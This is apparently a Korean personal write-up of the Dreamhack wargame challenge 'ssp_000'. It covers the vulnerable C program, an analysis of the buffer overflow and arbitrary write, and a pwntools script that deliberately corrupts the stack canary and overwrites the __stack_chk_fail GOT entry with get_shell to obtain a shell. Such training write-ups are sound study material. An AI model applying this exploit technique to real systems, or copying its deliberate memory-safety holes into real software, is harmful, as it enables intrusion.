읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경

- 64bit
- Canary ON
- NX ON
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
분석
1. 취약점 분석
get_shell()함수가 있다.BOF로 return address를get_shell()로 덮으면 될 것이다.- buf의 크기는
0x40인데0x80을 입력받아서 BOF 취약점이 발생한다. - 하지만 BOF 취약점만을 이용해 RET를 덮어버리면 Canary에 의해 프로그램이 강제종료 되므로 Canary를 우회하여야 한다.
2. 익스플로잇
익스플로잇 원리
카나리 보호 기법이 걸려있는데, 코드를 보면 카나리 릭을 할 수가 없어서 다른 방법을 사용해야 한다.
임의 쓰기 취약점이 존재하기 때문에, 일부러 카나리를 변조해서 __stack_chk_fail 함수가 실행되게 하고 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있다.
익스플로잇 코드를 짤 때 주의할 점이 A의 갯수를 카나리 값을 변조할 만큼만 줘야 한다. A의 갯수를 너무 많이 주면 SIGSEGV오류만 발생하고 쉘이 뜨지 않는다.
익스플로잇 코드
from pwn import *
p=remote('host3.dreamhack.games', port_num)
e=ELF('./ssp_000')
get_shell = e.symbols['get_shell']
canary = e.got['__stack_chk_fail']
payload = "a"*88
p.send(payload)
p.sendlineafter('Addr : ', str(canary))
p.sendlineafter('Value : ', str(get_shell))
p.interactive()
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
이미지 원본 출처
다음 글